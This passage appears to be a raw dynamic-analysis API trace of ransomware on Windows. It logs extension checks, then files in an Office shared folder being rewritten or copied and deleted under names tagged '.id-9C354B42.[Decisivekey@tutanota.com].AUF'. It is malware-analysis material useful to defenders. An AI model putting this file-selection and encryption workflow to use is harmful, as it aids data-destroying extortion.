(lpString=".ppt") returned 4 [0221.269] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0221.269] lstrlenW (lpString=".zip") returned 4 [0221.269] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.269] lstrlenW (lpString=".rar") returned 4 [0221.269] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.269] lstrlenW (lpString=".bz2") returned 4 [0221.269] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.269] lstrlenW (lpString=".7z") returned 3 [0221.269] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0221.269] lstrlenW (lpString=".dbf") returned 4 [0221.269] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0221.269] lstrlenW (lpString=".1cd") returned 4 [0221.269] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0221.269] lstrlenW (lpString=".jpg") returned 4 [0221.269] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0221.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0221.270] lstrlenW (lpString=".doc") returned 4 [0221.270] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.270] lstrlenW (lpString=".docx") returned 5 [0221.270] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0221.270] lstrlenW (lpString=".pdf") returned 4 [0221.270] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.270] lstrlenW (lpString=".xls") returned 4 [0221.270] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.270] lstrlenW (lpString=".xlsx") returned 5 [0221.270] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0221.270] lstrlenW (lpString=".ppt") returned 4 [0221.270] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0221.270] lstrlenW (lpString=".zip") returned 4 [0221.270] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.270] lstrlenW (lpString=".rar") returned 4 [0221.270] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.270] lstrlenW (lpString=".bz2") returned 4 [0221.270] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.270] lstrlenW (lpString=".7z") returned 3 [0221.270] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0221.270] lstrlenW (lpString=".dbf") returned 4 [0221.270] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0221.270] lstrlenW (lpString=".1cd") returned 4 [0221.270] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0221.270] lstrlenW (lpString=".jpg") returned 4 [0221.270] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.270] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0221.270] lstrlenW (lpString="IACOM2.DLL") returned 10 [0221.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0221.279] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=4289376) returned 1 [0221.279] CloseHandle (hObject=0x22c) returned 1 [0221.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll")) returned 0x20 [0221.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.279] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0221.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0221.280] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0221.280] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.280] ReadFile (in: hFile=0x22c, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.433] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x15d120, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.433] ReadFile (in: hFile=0x22c, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.485] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0221.485] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x3d7360, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0221.485] ReadFile (in: hFile=0x22c, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.575] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.575] WriteFile (in: hFile=0x22c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0221.737] SetEndOfFile (hFile=0x22c) returned 1 [0221.747] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.747] WriteFile (in: hFile=0x22c, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.748] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x15d120, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.748] WriteFile (in: hFile=0x22c, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.750] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x3d7360, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0221.750] WriteFile (in: hFile=0x22c, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.751] CloseHandle (hObject=0x22c) returned 1 [0221.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0221.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0221.752] lstrlenW (lpString=".doc") returned 4 [0221.752] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.752] lstrlenW (lpString=".docx") returned 5 [0221.752] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0221.752] lstrlenW (lpString=".pdf") returned 4 [0221.752] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.752] lstrlenW (lpString=".xls") returned 4 [0221.752] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.752] lstrlenW (lpString=".xlsx") returned 5 [0221.752] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0221.752] lstrlenW (lpString=".ppt") returned 4 [0221.752] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0221.752] lstrlenW (lpString=".zip") returned 4 [0221.752] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.752] lstrlenW (lpString=".rar") returned 4 [0221.752] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.752] lstrlenW (lpString=".bz2") returned 4 [0221.752] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.752] lstrlenW (lpString=".7z") returned 3 [0221.752] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0221.752] lstrlenW (lpString=".dbf") returned 4 [0221.752] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0221.752] lstrlenW (lpString=".1cd") returned 4 [0221.752] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0221.752] lstrlenW (lpString=".jpg") returned 4 [0221.752] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0221.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0221.752] lstrlenW (lpString=".doc") returned 4 [0221.752] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.752] lstrlenW (lpString=".docx") returned 5 [0221.752] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0221.752] lstrlenW (lpString=".pdf") returned 4 [0221.752] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.752] lstrlenW (lpString=".xls") returned 4 [0221.752] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.752] lstrlenW (lpString=".xlsx") returned 5 [0221.752] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0221.752] lstrlenW (lpString=".ppt") returned 4 [0221.753] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0221.753] lstrlenW (lpString=".zip") returned 4 [0221.753] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.753] lstrlenW (lpString=".rar") returned 4 [0221.753] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.753] lstrlenW (lpString=".bz2") returned 4 [0221.753] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.753] lstrlenW (lpString=".7z") returned 3 [0221.753] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0221.753] lstrlenW (lpString=".dbf") returned 4 [0221.753] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0221.753] lstrlenW (lpString=".1cd") returned 4 [0221.753] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0221.753] lstrlenW (lpString=".jpg") returned 4 [0221.753] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.753] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0221.753] lstrlenW (lpString="msoshext.dll") returned 12 [0221.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0221.754] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=1269648) returned 1 [0221.754] CloseHandle (hObject=0x22c) returned 1 [0221.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 0x20 [0221.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0221.754] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.754] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0221.754] GetLastError () returned 0x0 [0221.754] ReadFile (in: hFile=0x22c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0222.157] WriteFile (in: hFile=0x16c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0222.173] ReadFile (in: hFile=0x22c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x35fa0, lpOverlapped=0x0) returned 1 [0222.260] WriteFile (in: hFile=0x16c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x35fb0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x35fb0, lpOverlapped=0x0) returned 1 [0222.270] ReadFile (in: hFile=0x22c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.271] WriteFile (in: hFile=0x16c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.271] SetEndOfFile (hFile=0x16c) returned 1 [0222.271] CloseHandle (hObject=0x16c) returned 1 [0222.271] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.271] SetEndOfFile (hFile=0x22c) returned 1 [0222.272] CloseHandle (hObject=0x22c) returned 1 [0222.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.273] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoshext.dll")) returned 1 [0222.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0222.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0222.273] lstrlenW (lpString=".doc") returned 4 [0222.273] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0222.273] lstrlenW (lpString=".docx") returned 5 [0222.273] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0222.273] lstrlenW (lpString=".pdf") returned 4 [0222.273] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0222.273] lstrlenW (lpString=".xls") returned 4 [0222.273] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0222.273] lstrlenW (lpString=".xlsx") returned 5 [0222.273] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0222.273] lstrlenW (lpString=".ppt") returned 4 [0222.273] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0222.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0222.273] lstrlenW (lpString=".zip") returned 4 [0222.273] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0222.273] lstrlenW (lpString=".rar") returned 4 [0222.273] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0222.273] lstrlenW (lpString=".bz2") returned 4 [0222.273] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0222.273] lstrlenW (lpString=".7z") returned 3 [0222.273] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0222.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0222.273] lstrlenW (lpString=".dbf") returned 4 [0222.273] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0222.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0222.273] lstrlenW (lpString=".1cd") returned 4 [0222.273] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0222.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0222.273] lstrlenW (lpString=".jpg") returned 4 [0222.273] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0222.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0222.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0222.274] lstrlenW (lpString=".doc") returned 4 [0222.274] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0222.274] lstrlenW (lpString=".docx") returned 5 [0222.274] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0222.274] lstrlenW (lpString=".pdf") returned 4 [0222.274] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0222.274] lstrlenW (lpString=".xls") returned 4 [0222.274] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0222.274] lstrlenW (lpString=".xlsx") returned 5 [0222.274] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0222.274] lstrlenW (lpString=".ppt") returned 4 [0222.274] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0222.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0222.274] lstrlenW (lpString=".zip") returned 4 [0222.274] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0222.274] lstrlenW (lpString=".rar") returned 4 [0222.274] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0222.274] lstrlenW (lpString=".bz2") returned 4 [0222.274] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0222.274] lstrlenW (lpString=".7z") returned 3 [0222.274] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0222.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0222.274] lstrlenW (lpString=".dbf") returned 4 [0222.274] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0222.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0222.274] lstrlenW (lpString=".1cd") returned 4 [0222.274] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0222.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned 68 [0222.274] lstrlenW (lpString=".jpg") returned 4 [0222.274] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0222.274] lstrcmpiW (lpString1=".exe", lpString2=".AUF") returned 1 [0222.274] lstrlenW (lpString="Oarpmany.exe") returned 12 [0222.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0222.432] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=232840) returned 1 [0222.432] CloseHandle (hObject=0x1f4) returned 1 [0222.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 0x20 [0222.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0222.559] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.559] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.560] GetLastError () returned 0x0 [0222.560] ReadFile (in: hFile=0x180, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x38d88, lpOverlapped=0x0) returned 1 [0222.640] WriteFile (in: hFile=0x1f8, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x38d90, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x38d90, lpOverlapped=0x0) returned 1 [0222.644] ReadFile (in: hFile=0x180, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.644] WriteFile (in: hFile=0x1f8, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.644] SetEndOfFile (hFile=0x1f8) returned 1 [0222.644] CloseHandle (hObject=0x1f8) returned 1 [0222.644] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.644] SetEndOfFile (hFile=0x180) returned 1 [0222.646] CloseHandle (hObject=0x180) returned 1 [0222.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 